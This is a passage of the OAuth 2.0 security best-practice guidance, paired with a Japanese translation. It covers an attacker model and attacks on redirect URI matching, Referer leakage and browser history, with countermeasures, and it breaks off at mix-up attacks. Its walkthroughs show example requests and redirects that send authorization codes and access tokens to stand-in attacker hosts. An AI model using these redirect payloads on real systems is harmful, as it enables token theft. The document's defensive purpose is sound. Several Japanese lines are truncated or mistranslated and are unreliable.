To support browser-based clients, endpoints directly accessed by such clients including the Token Endpoint, Authorization Server Metadata Endpoint, jwks_uri Endpoint, and Dynamic Client Registration Endpoint MAY support the use of Cross-Origin Resource Sharing (CORS) [WHATWG.CORS]. However, CORS MUST NOT be supported at the authorization endpoint, as the client does not access this endpoint directly; instead, the client redirects the user agent to it.
ブラウザベースのクライアントをサポートするために、トークンエンドポイント、認可サーバーメタデータエンドポイント、jwks_uriエンドポイント、ダイナミッククライアント登録エンドポイントなど、そのようなクライアントが直接アクセスするエンドポイントは、クロスオリジンリソース共有（cors）[whatwg.cors]の使用をサポートする場合があります。ただし、クライアントはこのエンドポイントに直接アクセスしないため、CORSを認可エンドポイントでサポートしてはなりません。代わりに、クライアントはユーザーエージェントをリダイレクトします。
In [RFC6819], a threat model is laid out that describes the threats against which OAuth deployments must be protected. While doing so, [RFC6819] makes certain assumptions about attackers and their capabilities, i.e., it implicitly establishes an attacker model. In the following, this attacker model is made explicit and is updated and expanded to account for the potentially dynamic relationships involving multiple parties (as described in Section 1), to include new types of attackers, and to define the attacker model more clearly.
[RFC6819]では、OAuthの展開を保護しなければならない脅威を説明する脅威モデルがレイアウトされています。そうしている間、[RFC6819]は、攻撃者とその能力について特定の仮定を行います。つまり、攻撃者モデルを暗黙的に確立します。以下では、この攻撃者モデルが明示的になり、複数の当事者が関与する可能性のある動的な関係（セクション1に記載されている）を考慮し、新しいタイプの攻撃者を含め、攻撃者モデルをより明確に定義するために更新および拡張されます。
The goal of this document is to ensure that the authorization of a resource owner (with a user agent) at an authorization server and the subsequent usage of the access token at a resource server is protected, as well as practically possible, at least against the following attackers.
このドキュメントの目標は、認証サーバーでのリソース所有者（ユーザーエージェントと）の認可と、リソースサーバーでのアクセストークンのその後の使用が保護されることを保証することです。次の攻撃者。
(A1) Web attackers that can set up and operate an arbitrary number of network endpoints (besides the "honest" ones) including browsers and servers. Web attackers may set up websites that are visited by the resource owner, operate their own user agents, and participate in the protocol.
（A1）ブラウザやサーバーを含む（「正直な」もの以外）、任意の数のネットワークエンドポイントを設定および操作できるWeb攻撃者。Web攻撃者は、リソース所有者が訪問し、独自のユーザーエージェントを運営し、プロトコルに参加するWebサイトを設定できます。
In particular, web attackers may operate OAuth clients that are registered at the authorization server, and they may operate their own authorization and resource servers that can be used (in parallel to the "honest" ones) by the resource owner and other resource owners.
特に、Web攻撃者は、認可サーバーに登録されているOAuthクライアントを運用する場合があり、リソース所有者およびその他のリソース所有者が（「正直な」ものと並行して）使用できる独自の認証およびリソースサーバーを運営する場合があります。
It must also be assumed that web attackers can lure the user to navigate their browser to arbitrary attacker-chosen URIs at any time. In practice, this can be achieved in many ways, for example, by injecting malicious advertisements into advertisement networks or by sending legitimate-looking emails.
また、Web攻撃者は、ユーザーがブラウザを任意の攻撃者から選択したURIにいつでもナビゲートするように誘導できると想定する必要があります。実際には、これは多くの点で、たとえば、悪意のある広告を広告ネットワークに注入するか、正当な見た目の電子メールを送信することによって達成できます。
Web attackers can use their own user credentials to create new messages as well as any secrets they learned previously. For example, if a web attacker learns an authorization code of a user through a misconfigured redirection URI, the web attacker can then try to redeem that code for an access token.
Web攻撃者は、独自のユーザー資格情報を使用して、以前に学んだ秘密と同様に新しいメッセージを作成できます。たとえば、Web攻撃者が誤解されたリダイレクトURIを介してユーザーの認可コードを学習した場合、Web攻撃者はそのコードをアクセストークンと引き換えようとすることができます。
They cannot, however, read or manipulate messages that are not targeted towards them (e.g., sent to a URL of an authorization server not under control of an attacker).
ただし、それらに向かってターゲットにされていないメッセージを読み取ったり操作したりすることはできません（たとえば、攻撃者の制御下にない認可サーバーのURLに送信されます）。
(A2) Network attackers that additionally have full control over the network over which protocol participants communicate. They can eavesdrop on, manipulate, and spoof messages, except when these are properly protected by cryptographic methods (e.g., TLS). Network attackers can also block arbitrary messages.
（A2）プロトコル参加者が通信するネットワークをさらに完全に制御するネットワーク攻撃者。それらは、これらが暗号化方法（TLSなど）によって適切に保護されている場合を除き、メッセージを盗用、操作、およびスプーフィングすることができます。ネットワーク攻撃者は、任意のメッセージをブロックすることもできます。
While an example for a web attacker would be a customer of an internet service provider, network attackers could be the internet service provider itself, an attacker in a public (Wi-Fi) network using ARP spoofing, or a state-sponsored attacker with access to internet exchange points, for instance.
Web攻撃者の例はインターネットサービスプロバイダーの顧客ですが、ネットワーク攻撃者はインターネットサービスプロバイダー自体、ARPスプーフィングを使用した一般の（Wi-Fi）ネットワークの攻撃者、またはアクセスを伴う州が後援する攻撃者である可能性があります。たとえば、インターネット交換ポイントへ。
The aforementioned attackers (A1) and (A2) conform to the attacker model that was used in formal analysis efforts for OAuth [arXiv.1601.01229]. This is a minimal attacker model. Implementers MUST take into account all possible types of attackers in the environment of their OAuth implementations. For example, in [arXiv.1901.11520], a very strong attacker model is used that includes attackers that have full control over the token endpoint. This models effects of a possible misconfiguration of endpoints in the ecosystem, which can be avoided by using authorization server metadata as described in Section 2.6. Such an attacker is therefore not listed here.
前述の攻撃者（A1）および（A2）は、OAuth [arxiv.1601.01229]の正式な分析の取り組みで使用された攻撃者モデルに準拠しています。これは最小限の攻撃者モデルです。実装者は、OAuthの実装の環境におけるすべての可能なタイプの攻撃者を考慮する必要があります。たとえば、[arxiv.1901.11520]では、トークンエンドポイントを完全に制御する攻撃者を含む非常に強力な攻撃者モデルが使用されています。このモデルは、エコシステムにおけるエンドポイントの誤った誤解の影響をモデル化します。これは、セクション2.6で説明されているように、認可サーバーメタデータを使用することで回避できます。したがって、このような攻撃者はここにリストされていません。
However, previous attacks on OAuth have shown that the following types of attackers are relevant in particular:
ただし、OAuthに対する以前の攻撃は、特に次のタイプの攻撃者が関連していることを示しています。
(A3) Attackers that can read, but not modify, the contents of the authorization response (i.e., the authorization response can leak to an attacker).
（A3）認証応答の内容を読むことができるが変更できない攻撃者（つまり、認可応答が攻撃者に漏洩する可能性がある）。
Examples of such attacks include open redirector attacks and mix-up attacks (see Section 4.4), where the client is tricked into sending credentials to an attacker-controlled authorization server.
このような攻撃の例には、オープンリダイレクター攻撃とミックスアップ攻撃が含まれます（セクション4.4を参照）。クライアントは、攻撃者が管理する認証サーバーに資格情報を送信するようになります。
Also, this includes attacks that take advantage of:
また、これには以下を利用する攻撃が含まれます。
* insufficient checking of redirect URIs (see Section 4.1);
* URIをリダイレクトする不十分なチェック（セクション4.1を参照）。
* problems existing on mobile operating systems, where different apps can register themselves on the same URI; and
* さまざまなアプリが同じURIに登録できるモバイルオペレーティングシステムに存在する問題。そして
* URLs stored/logged by browsers (history), proxy servers, and operating systems.
* ブラウザ（履歴）、プロキシサーバー、およびオペレーティングシステムによって保存/ログに保存/ログ。
(A4) Attackers that can read, but not modify, the contents of the authorization request (i.e., the authorization request can leak, in the same manner as above, to an attacker).
（a4）認可要求の内容を読み取ることができるが変更できない攻撃者（つまり、認可要求は、上記と同じ方法で攻撃者にリークできます）。
(A5) Attackers that can acquire an access token issued by an authorization server. For example, a resource server may be compromised by an attacker, an access token may be sent to an attacker-controlled resource server due to a misconfiguration, or social engineering may be used to get a resource owner to use an attacker-controlled resource server. Also see Section 4.9.2.
（A5）認証サーバーによって発行されたアクセストークンを取得できる攻撃者。たとえば、リソースサーバーは攻撃者によって侵害される場合があります。アクセストークンは、誤った構成のためにアクセストークンを攻撃者制御リソースサーバーに送信することができます。。セクション4.9.2も参照してください。
(A3), (A4), and (A5) typically occur together with either (A1) or (A2). Attackers can collaborate to reach a common goal.
（a3）、（a4）、および（a5）は通常、（a1）または（a2）のいずれかとともに発生します。攻撃者は共通の目標を達成するために協力できます。
Note that an Attacker (A1) or (A2) can be a resource owner or act as one. For example, such an attacker can use their own browser to replay tokens or authorization codes obtained by any of the attacks described above at the client or resource server.
攻撃者（A1）または（A2）がリソースの所有者であるか、または1人として行動することができることに注意してください。たとえば、そのような攻撃者は、クライアントまたはリソースサーバーで上記の攻撃のいずれかによって取得されたトークンまたは認証コードを再生するために、独自のブラウザを使用できます。
This document focuses on threats resulting from Attackers (A1) to (A5).
このドキュメントは、攻撃者（A1）から（A5）に起因する脅威に焦点を当てています。
This section gives a detailed description of attacks on OAuth implementations, along with potential countermeasures. Attacks and mitigations already covered in [RFC6819] are not listed here, except where new recommendations are made.
このセクションでは、OAuthの実装に対する攻撃の詳細な説明と、潜在的な対策を示します。[RFC6819]ですでにカバーされている攻撃と緩和は、新しい推奨事項が行われる場合を除き、ここにはリストされていません。
This section further defines additional requirements (beyond those defined in Section 2) for certain cases and protocol options.
このセクションでは、特定のケースおよびプロトコルオプションについて、追加の要件（セクション2で定義されている要件を超えて）をさらに定義します。
Some authorization servers allow clients to register redirection URI patterns instead of complete redirection URIs. The authorization servers then match the redirection URI parameter value at the authorization endpoint against the registered patterns at runtime. This approach allows clients to encode transaction state into additional redirect URI parameters or to register a single pattern for multiple redirection URIs.
一部の認可サーバーにより、クライアントは完全なリダイレクトURIの代わりにリダイレクトURIパターンを登録できます。認可サーバーは、実行時に登録されたパターンに対して、認可エンドポイントのリダイレクトURIパラメーター値を一致させます。このアプローチにより、クライアントはトランザクションの状態を追加のリダイレクトURIパラメーターにエンコードするか、複数のリダイレクトURIの単一のパターンを登録することができます。
This approach turned out to be more complex to implement and more error-prone to manage than exact redirection URI matching. Several successful attacks exploiting flaws in the pattern-matching implementation or concrete configurations have been observed in the wild (see, e.g., [research.rub2]). Insufficient validation of the redirection URI effectively breaks client identification or authentication (depending on grant and client type) and allows the attacker to obtain an authorization code or access token, either
このアプローチは、正確なリダイレクトURIマッチングよりも、実装するのがより複雑であり、管理しやすいことが判明しました。野生では、パターンマッチングの実装または具体的な構成に欠陥を悪用するいくつかの成功した攻撃が観察されています（例えば、[Research.Rub2]を参照）。リダイレクトURIの不十分な検証は、クライアントの識別または認証を効果的に破壊し（グラントとクライアントタイプに応じて）、攻撃者が認証コードを取得するか、トークンにアクセスできるようにします。
* by directly sending the user agent to a URI under the attacker's control, or
* 攻撃者のコントロールの下でユーザーエージェントをURIに直接送信することにより、または
* by exposing the OAuth credentials to an attacker by utilizing an open redirector at the client in conjunction with the way user agents handle URL fragments.
* ユーザーエージェントがURLフラグメントを処理する方法と組み合わせて、クライアントでオープンリダイレクターを使用することにより、OAuth資格を攻撃者に公開することにより。
These attacks are shown in detail in the following subsections.
これらの攻撃は、次のサブセクションで詳細に示されています。
For a client using the grant type code, an attack may work as follows:
グラントタイプコードを使用しているクライアントの場合、攻撃は次のように機能する場合があります。
Assume the redirection URL pattern https://*.somesite.example/* is registered for the client with the client ID s6BhdRkqt3. The intention is to allow any subdomain of somesite.example to be a valid redirection URI for the client, for example, https://app1.somesite.example/redirect. However, a naive implementation on the authorization server might interpret the wildcard * as "any character" and not "any character valid for a domain name". The authorization server, therefore, might permit https://attacker.example/.somesite.example as a redirection URI, although attacker.example is a different domain potentially controlled by a malicious party.
リダイレクトURLパターンhttps://*.somesite.example/*がクライアントID s6bhdrkqt3でクライアントに登録されていると仮定します。意図は、somesite.exampleのサブドメインをクライアントにとって有効なリダイレクトURIにすることを許可することです。たとえば、https://app1.somesite.example/redirect。ただし、Authorization Serverでの素朴な実装は、WildCard *を「ドメイン名に有効な文字」ではなく「任意の文字」と解釈する場合があります。したがって、認可サーバーは、https://attacker.example/.somesite.exampleをリダイレクトURIとして許可する場合がありますが、攻撃者。
The attack can then be conducted as follows:
攻撃は次のように実施できます。
To begin, the attacker needs to trick the user into opening a tampered URL in their browser that launches a page under the attacker's control, say, https://www.evil.example (see attacker A1 in Section 3).
まず、攻撃者はユーザーをだまして、攻撃者のコントロールの下でページを起動するブラウザで改ざんされたURLを開くようにする必要があります。
This URL initiates the following authorization request with the client ID of a legitimate client to the authorization endpoint (line breaks for display only):
このURLは、正当なクライアントのクライアントIDを認可エンドポイントにクライアントIDで開始します（表示のみのラインブレークのみ）。
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
&redirect_uri=https%3A%2F%2Fattacker.example%2F.somesite.example
HTTP/1.1
Host: server.somesite.example
The authorization server validates the redirection URI and compares it to the registered redirection URL patterns for the client s6BhdRkqt3. The authorization request is processed and presented to the user.
Authorization Serverは、リダイレクトURIを検証し、クライアントS6BHDRKQT3の登録されたリダイレクトURLパターンと比較します。認可リクエストは処理され、ユーザーに提示されます。
If the user does not see the redirection URI or does not recognize the attack, the code is issued and immediately sent to the attacker's domain. If an automatic approval of the authorization is enabled (which is not recommended for public clients according to [RFC6749]), the attack can be performed even without user interaction.
ユーザーがリダイレクトURIが表示されない場合、または攻撃を認識しない場合、コードが発行され、すぐに攻撃者のドメインに送信されます。認可の自動承認が有効になっている場合（[RFC6749]、[RFC6749]に従ってパブリッククライアントには推奨されていません）、ユーザーのやり取りがなくても攻撃を実行できます。
If the attacker impersonates a public client, the attacker can exchange the code for tokens at the respective token endpoint.
攻撃者がパブリッククライアントになりすましている場合、攻撃者はそれぞれのトークンエンドポイントでコードをトークンと交換できます。
This attack will not work as easily for confidential clients, since the code exchange requires authentication with the legitimate client's secret. However, the attacker can use the legitimate confidential client to redeem the code by performing an authorization code injection attack; see Section 4.5.
コード交換には合法的なクライアントの秘密との認証が必要なため、この攻撃は機密クライアントにとって簡単に機能しません。ただし、攻撃者は、正当な機密クライアントを使用して、認証コードインジェクション攻撃を実行してコードを引き換えることができます。セクション4.5を参照してください。
It is important to note that redirection URI validation vulnerabilities can also exist if the authorization server handles wildcards properly. For example, assume that the client registers the redirection URL pattern https://*.somesite.example/* and the authorization server interprets this as "allow redirection URIs pointing to any host residing in the domain somesite.example". If an attacker manages to establish a host or subdomain in somesite.example, the attacker can impersonate the legitimate client. For example, this could be caused by a subdomain takeover attack [research.udel], where an outdated CNAME record (say, external-service.somesite.example) points to an external DNS name that no longer exists (say, customer-abc.service.example) and can be taken over by an attacker (e.g., by registering as customer-abc with the external service).
認可サーバーがワイルドカードを適切に処理する場合、リダイレクトURI検証の脆弱性も存在する可能性があることに注意することが重要です。たとえば、クライアントがリダイレクトURLパターンhttps://*.somesite.example/*を登録し、認可サーバーが「ドメインsomeSite.exampleに居住するホストを指すリダイレクトURIを許可する」と相関させると仮定します。攻撃者がSomeSite.exampleでホストまたはサブドメインを確立することができた場合、攻撃者は正当なクライアントになりすまします。たとえば、これはサブドメインテイクオーバー攻撃[Research.udel]によって引き起こされる可能性があります。この場合、時代遅れのCNAMEレコード（たとえば、外部service.somesite.exampleなど）が存在しなくなった外部DNS名を指します（たとえば、customer-abc.service.example）および攻撃者に引き継ぐことができます（たとえば、外部サービスで顧客ABCとして登録することで）。
The attack described above works for the implicit grant as well. If the attacker is able to send the authorization response to an attacker-controlled URI, the attacker will directly get access to the fragment carrying the access token.
上記の攻撃は、暗黙のグラントのためにも機能します。攻撃者が攻撃者が管理するURIに認可応答を送信できる場合、攻撃者はアクセストークンを運ぶフラグメントに直接アクセスできます。
Additionally, implicit grants (and also other grants when using response_mode=fragment as defined in [OAuth.Responses]) can be subject to a further kind of attack. The attack utilizes the fact that user agents reattach fragments to the destination URL of a redirect if the location header does not contain a fragment (see Section 17.11 of [RFC9110]). The attack described here combines this behavior with the client as an open redirector (see Section 4.11.1) in order to obtain access tokens. This allows circumvention even of very narrow redirection URI patterns, but not of strict URL matching.
さらに、暗黙的なグラント（および[oauth.responses]で定義されているResponse_mode = fragmentを使用する場合の他のグラント）は、さらなる種類の攻撃の対象となります。この攻撃は、ユーザーエージェントがロケーションヘッダーにフラグメントが含まれていない場合、リダイレクトの宛先URLに断片をreattachにしているという事実を利用しています（[RFC9110]のセクション17.11を参照）。ここで説明する攻撃は、この動作とクライアントをオープンリダイレクターとして組み合わせて（セクション4.11.1を参照）、アクセストークンを取得します。これにより、非常に狭いリダイレクトURIパターンでさえ回避が可能になりますが、厳密なURLマッチングではありません。
Assume the registered URL pattern for client s6BhdRkqt3 is https://client.somesite.example/cb?*, i.e., any parameter is allowed for redirects to https://client.somesite.example/cb. Unfortunately, the client exposes an open redirector. This endpoint supports a parameter redirect_to which takes a target URL and will send the browser to this URL using an HTTP Location header redirect 303.
クライアントS6BHDRKQT3の登録されたURLパターンがhttps://client.somesite.example/cb？*であると仮定します。残念ながら、クライアントはオープンリダイレクターを公開します。このエンドポイントは、ターゲットURLを取得するパラメーターRedirect_TOをサポートし、HTTP Location Header Redirect 303を使用してブラウザをこのURLに送信します。
The attack can now be conducted as follows:
攻撃は次のように実施できます。
To begin, as above, the attacker needs to trick the user into opening a tampered URL in their browser that launches a page under the attacker's control, say, https://www.evil.example.
上記のように、攻撃者は、攻撃者のコントロールの下でページを起動するブラウザで改ざんされたURLを開くようにユーザーをだまして、たとえばhttps://www.evil.exampleを開始する必要があります。
Afterwards, the website initiates an authorization request that is very similar to the one in the attack on the code flow. Different to above, it utilizes the open redirector by encoding redirect_to=https://attacker.example into the parameters of the redirection URI, and it uses the response type token (line breaks for display only):
その後、Webサイトは、コードフローへの攻撃に非常に似た認可要求を開始します。上記とは異なり、Redirect_TO = https://attacker.exampleをリダイレクトURIのパラメーターにエンコードすることにより、オープンリダイレクターを使用し、応答型トークン（表示のためのラインブレークのみ）を使用します。
GET /authorize?response_type=token&state=9ad67f13
&client_id=s6BhdRkqt3
&redirect_uri=https%3A%2F%2Fclient.somesite.example
%2Fcb%26redirect_to%253Dhttps%253A%252F
%252Fattacker.example%252F HTTP/1.1
Host: server.somesite.example
Then, since the redirection URI matches the registered pattern, the authorization server permits the request and sends the resulting access token in a 303 redirect (some response parameters omitted for readability):
次に、リダイレクトURIが登録済みパターンと一致するため、認可サーバーはリクエストを許可し、結果のアクセストークンを303リダイレクト（読みやすくするために省略された一部の応答パラメーター）で送信します。
HTTP/1.1 303 See Other
Location: https://client.somesite.example/cb?
redirect_to%3Dhttps%3A%2F%2Fattacker.example%2Fcb
#access_token=2YotnFZFEjr1zCsicMWpAA&...
At client.somesite.example, the request arrives at the open redirector. The endpoint will read the redirect parameter and will issue an HTTP 303 Location header redirect to the URL https://attacker.example/.
client.somesite.exampleで、リクエストはオープンリダイレクターに届きます。エンドポイントはリダイレクトパラメーターを読み取り、HTTP 303ロケーションヘッダーリダイレクトをURL https://attacker.example/に発行します。
HTTP/1.1 303 See Other
Location: https://attacker.example/
Since the redirector at client.somesite.example does not include a fragment in the Location header, the user agent will reattach the original fragment #access_token=2YotnFZFEjr1zCsicMWpAA&... to the URL and will navigate to the following URL:
client.somesite.exampleのリダイレクターにはロケーションヘッダーにフラグメントが含まれていないため、ユーザーエージェントは元のフラグメント＃アクセス_token = 2yotnfzfejr1zcsicmwpaa＆amp; ...をurlに再び繰り返し、次のURLに移動します。
https://attacker.example/#access_token=2YotnFZFEjr1z...
The attacker's page at attacker.example can then access the fragment and obtain the access token.
攻撃者の攻撃者のページは、フラグメントにアクセスしてアクセストークンを取得できます。
The complexity of implementing and managing pattern matching correctly obviously causes security issues. This document therefore advises simplifying the required logic and configuration by using exact redirection URI matching. This means the authorization server MUST ensure that the two URIs are equal; see Section 6.2.1 of [RFC3986], Simple String Comparison, for details. The only exception is native apps using a localhost URI: In this case, the authorization server MUST allow variable port numbers as described in Section 7.3 of [RFC8252].
パターンマッチングの実装と管理の複雑さは、明らかにセキュリティの問題を引き起こします。したがって、このドキュメントは、正確なリダイレクトURIマッチングを使用して、必要なロジックと構成を簡素化することをお勧めします。これは、認可サーバーが2つのURIが等しいことを確認する必要があることを意味します。詳細については、[RFC3986]のセクション6.2.1 [RFC3986]、簡単な文字列比較を参照してください。唯一の例外は、ローカルホストURIを使用したネイティブアプリです。この場合、[RFC8252]のセクション7.3で説明されているように、認可サーバーは変数ポート番号を許可する必要があります。
Additional recommendations:
追加の推奨事項：
* Web servers on which redirection URIs are hosted MUST NOT expose open redirectors (see Section 4.11).
* リダイレクトURIがホストされているWebサーバーは、オープンリダイレクターを公開してはなりません（セクション4.11を参照）。
* Browsers reattach URL fragments to Location redirection URLs only if the URL in the Location header does not already contain a fragment. Therefore, servers MAY prevent browsers from reattaching fragments to redirection URLs by attaching an arbitrary fragment identifier, for example #_, to URLs in Location headers.
* ブラウザは、ロケーションヘッダーのURLにフラグメントがまだ含まれていない場合にのみ、ロケーションリダイレクトURLへのURLフラグメントReattachフラグメントです。したがって、サーバーは、ロケーションヘッダーのURLに任意のフラグメント識別子（＃_など）を取り付けることにより、ブラウザがフラグメントをリダイレクトURLに再接続するのを防ぐ場合があります。
* Clients SHOULD use the authorization code response type instead of response types that cause access token issuance at the authorization endpoint. This offers countermeasures against the reuse of leaked credentials through the exchange process with the authorization server and against token replay through sender-constraining of the access tokens.
* クライアントは、認可エンドポイントでアクセストークン発行を引き起こす応答タイプの代わりに、認可コード応答タイプを使用する必要があります。これにより、Authorization Serverとの交換プロセスを通じて、およびアクセストークンのSender-Constrainingを介したトークンリプレイを通じて、リークされた資格情報の再利用を提供します。
If the origin and integrity of the authorization request containing the redirection URI can be verified, for example, when using [RFC9101] or [RFC9126] with client authentication, the authorization server MAY trust the redirection URI without further checks.
リダイレクトURIを含む認可要求の起源と整合性を確認できる場合、たとえば、[RFC9101]または[RFC9126]をクライアント認証で使用する場合、認証サーバーはさらにチェックせずにリダイレクトURIを信頼する場合があります。
The contents of the authorization request URI or the authorization response URI can unintentionally be disclosed to attackers through the Referer HTTP header (see Section 10.1.3 of [RFC9110]), by leaking from either the authorization server's or the client's website, respectively. Most importantly, authorization codes or state values can be disclosed in this way. Although specified otherwise in Section 10.1.3 of [RFC9110], the same may happen to access tokens conveyed in URI fragments due to browser implementation issues, as illustrated by a (now fixed) issue in the Chromium project [bug.chromium].
認可要求URIまたは認可応答のコンテンツは、認証サーバーまたはクライアントのWebサイトからそれぞれ漏洩して、それぞれ参照httpヘッダーを介して攻撃者に意図せずに攻撃者に開示できます（[RFC9110]のセクション10.1.3を参照）。最も重要なことは、認可コードまたは状態値がこの方法で開示される可能性があることです。[RFC9110]のセクション10.1.3でそれ以外の場合は指定されていますが、クロムプロジェクト[Bug.Chromium]の（現在固定された）問題で示すように、ブラウザの実装の問題のためにURIフラグメントで伝達されるトークンにアクセスすることも同じです。
Leakage from the OAuth client requires that the client, as a result of a successful authorization request, renders a page that
OAuthクライアントからのリークは、クライアントが認可要求を成功させた結果、ページをレンダリングする必要があります。
* contains links to other pages under the attacker's control and a user clicks on such a link, or
* 攻撃者のコントロールの下にある他のページへのリンクが含まれており、ユーザーはそのようなリンクをクリックします。
* includes third-party content (advertisements in iframes, images, etc.), for example, if the page contains user-generated content (blog).
* たとえば、ページにユーザー生成コンテンツ（ブログ）が含まれている場合、サードパーティのコンテンツ（IFRAME、画像などの広告）が含まれます。
As soon as the browser navigates to the attacker's page or loads the third-party content, the attacker receives the authorization response URL and can extract code or state (and potentially access_token).
ブラウザが攻撃者のページに移動したり、サードパーティのコンテンツをロードするとすぐに、攻撃者は認証応答URLを受け取り、コードまたは状態（および潜在的にAccess_Token）を抽出できます。
In a similar way, an attacker can learn state from the authorization request if the authorization endpoint at the authorization server contains links or third-party content as above.
同様の方法で、攻撃者は、認可サーバーの認可エンドポイントに上記のようにリンクまたはサードパーティのコンテンツが含まれている場合、認可要求から状態を学習できます。
An attacker that learns a valid code or access token through a Referer header can perform the attacks as described in Sections 4.1.1, 4.5 and 4.6. If the attacker learns state, the CSRF protection achieved by using state is lost, resulting in CSRF attacks as described in Section 4.4.1.8 of [RFC6819].
有効なコードまたはアクセストークンを参照ヘッダーから学習する攻撃者は、セクション4.1.1、4.5、4.6で説明されているように攻撃を実行できます。攻撃者が状態を学習すると、状態を使用して達成されたCSRF保護が失われ、[RFC6819]のセクション4.4.1.8で説明されているようにCSRF攻撃が生じます。
The page rendered as a result of the OAuth authorization response and the authorization endpoint SHOULD NOT include third-party resources or links to external sites.
OAuth認証応答の結果としてレンダリングされたページと認可エンドポイントには、外部サイトへのサードパーティのリソースやリンクを含めるべきではありません。
The following measures further reduce the chances of a successful attack:
以下の測定により、攻撃が成功する可能性がさらに低下します。
* Suppress the Referer header by applying an appropriate Referrer Policy [W3C.webappsec-referrer-policy] to the document (either as part of the "referrer" meta attribute or by setting a Referrer-Policy header). For example, the header Referrer-Policy: no-referrer in the response completely suppresses the Referer header in all requests originating from the resulting document.
* 適切なリファラーポリシー[w3c.webappsec-referrer-policy]をドキュメントに適用することにより（「リファラー」メタ属性の一部として、またはリファラーポリティヘッダーを設定することにより）、参照ヘッダーを抑制します。たとえば、Header Referrer-Policy：応答のリフェラーなしは、結果のドキュメントから発生するすべての要求で参照ヘッダーを完全に抑制します。
* Use authorization code instead of response types causing access token issuance from the authorization endpoint.
* 認可エンドポイントからアクセストークン発行を引き起こす応答タイプの代わりに認証コードを使用します。
* Bind the authorization code to a confidential client or PKCE challenge. In this case, the attacker lacks the secret to request the code exchange.
* 認可コードを機密クライアントまたはPKCEチャレンジにバインドします。この場合、攻撃者はコード交換を要求する秘密を欠いています。
* As described in Section 4.1.2 of [RFC6749], authorization codes MUST be invalidated by the authorization server after their first use at the token endpoint. For example, if an authorization server invalidated the code after the legitimate client redeemed it, the attacker would fail to exchange this code later.
* [RFC6749]のセクション4.1.2で説明されているように、トークンエンドポイントで最初に使用した後、認可コードは認証サーバーによって無効にする必要があります。たとえば、正当なクライアントがそれを引き換えた後に認証サーバーがコードを無効にした場合、攻撃者は後でこのコードを交換できません。
This does not mitigate the attack if the attacker manages to exchange the code for a token before the legitimate client does so. Therefore, [RFC6749] further recommends that, when an attempt is made to redeem a code twice, the authorization server SHOULD revoke all tokens issued previously based on that code.
これは、攻撃者が正当なクライアントがそうする前にコードをトークンと交換した場合、攻撃を軽減しません。したがって、[RFC6749]は、コードを2回引き換える試みが行われた場合、認証サーバーはそのコードに基づいて以前に発行されたすべてのトークンを取り消すことを推奨しています。
* The state value SHOULD be invalidated by the client after its first use at the redirection endpoint. If this is implemented, and an attacker receives a token through the Referer header from the client's website, the state was already used, invalidated by the client and cannot be used again by the attacker. (This does not help if the state leaks from the authorization server's website, since then the state has not been used at the redirection endpoint at the client yet.)
* 状態値は、リダイレクトエンドポイントで最初に使用した後、クライアントが無効にする必要があります。これが実装され、攻撃者がクライアントのウェブサイトから参照ヘッダーを介してトークンを受け取った場合、状態はすでに使用されており、クライアントによって無効であり、攻撃者が再び使用することはできません。（これは、州がまだクライアントのリダイレクトエンドポイントで使用されていないため、認証サーバーのウェブサイトから州がリークしても役に立ちません。）
* Use the form post response mode instead of a redirect for the authorization response (see [OAuth.Post]).
* 認可応答のためにリダイレクトの代わりにフォーム後の応答モードを使用します（[oauth.post]を参照）。
Authorization codes and access tokens can end up in the browser's history of visited URLs, enabling the attacks described in the following.
認可コードとアクセストークンは、ブラウザの訪問されたURLの歴史に終わる可能性があり、以下で説明されている攻撃を可能にします。
When a browser navigates to client.example/ redirection_endpoint?code=abcd as a result of a redirect from a provider's authorization endpoint, the URL including the authorization code may end up in the browser's history. An attacker with access to the device could obtain the code and try to replay it.
ブラウザがclient.example.example/ redirection_endpoint？code = abcdにナビゲートすると、プロバイダーの認可エンドポイントからのリダイレクトの結果として、認可コードを含むURLはブラウザの履歴に終わる場合があります。デバイスにアクセスできる攻撃者は、コードを取得して再生することができます。
Countermeasures:
対策：
* Authorization code replay prevention as described in Section 4.4.1.1 of [RFC6819], and Section 4.5.
* [RFC6819]のセクション4.4.1.1で説明されている認定コードリプレイ防止、およびセクション4.5。
* Use the form post response mode instead of redirect for the authorization response (see [OAuth.Post]).
* 認可応答のためにリダイレクトの代わりにフォーム後の応答モードを使用します（[oauth.post]を参照）。
An access token may end up in the browser history if a client or a website that already has a token deliberately navigates to a page like provider.com/get_user_profile?access_token=abcdef. [RFC6750] discourages this practice and advises transferring tokens via a header, but in practice websites often pass access tokens in query parameters.
アクセストークンは、クライアントまたはトークンを既に持っているWebサイトが、Provider.com/get_user_profile?access_token=abcdefのようなページに意図的にナビゲートしている場合、ブラウザの履歴に終わる可能性があります。[RFC6750]このプラクティスを阻止し、ヘッダーを介してトークンを転送することをアドバイスしますが、実際には、クエリパラメーターでアクセストークンを渡すことがよくあります。
In the case of implicit grant, a URL like client.example/ redirection_endpoint#access_token=abcdef may also end up in the browser history as a result of a redirect from a provider's authorization endpoint.
暗黙のグラントの場合、client.example.example/ redirection_endpoint＃access_token = abcdefのようなurlの場合、プロバイダーの認可エンドポイントからのリダイレクトの結果として、ブラウザの履歴になります。
Countermeasures:
対策：
* Clients MUST NOT pass access tokens in a URI query parameter in the way described in Section 2.3 of [RFC6750]. The authorization code grant or alternative OAuth response modes like the form post response mode [OAuth.Post] can be used to this end.
* クライアントは、[RFC6750]のセクション2.3で説明されている方法で、URIクエリパラメーターのアクセストークンを渡すべきではありません。Form Post Response Mode [oauth.post]などの認可コードグラントまたは代替OAuth応答モードは、この目的に使用できます。
Mix-up attacks can occur in scenarios where an OAuth client interacts with two or more authorization servers and at least one authorization server is under the control of the attacker. This can be the case, for example, if the attacker uses dynamic registration to register the client at their own authorization server or if an authorization server becomes compromised.
OAuthクライアントが2つの認証サーバーと対話し、少なくとも1つの認証サーバーが攻撃者の制御下にあるシナリオでは、混合攻撃が発生する可能性があります。たとえば、攻撃者が動的登録を使用してクライアントを独自の認可サーバーに登録する場合、または認可サーバーが侵害された場合など、そうです。
The goal of the attack is to obtain an authorization code or an access token for an uncompromised authorization server. This is achieved by tricking the client into sending those credentials to the compromised authorization server (the attacker) instead of using them at the respective endpoint of the uncompromised authorization/ resource server.
攻撃の目標は、妥協のない認可サーバーの認可コードまたはアクセストークンを取得することです。これは、クライアントが妥協のない認可/リソースサーバーのそれぞれのエンドポイントでそれらを使用する代わりに、それらの資格情報を侵害された認証サーバー（攻撃者）に送信するようにトリックすることによって達成されます。
The description here follows [arXiv.1601.01229], with variants of the attack outlined below.
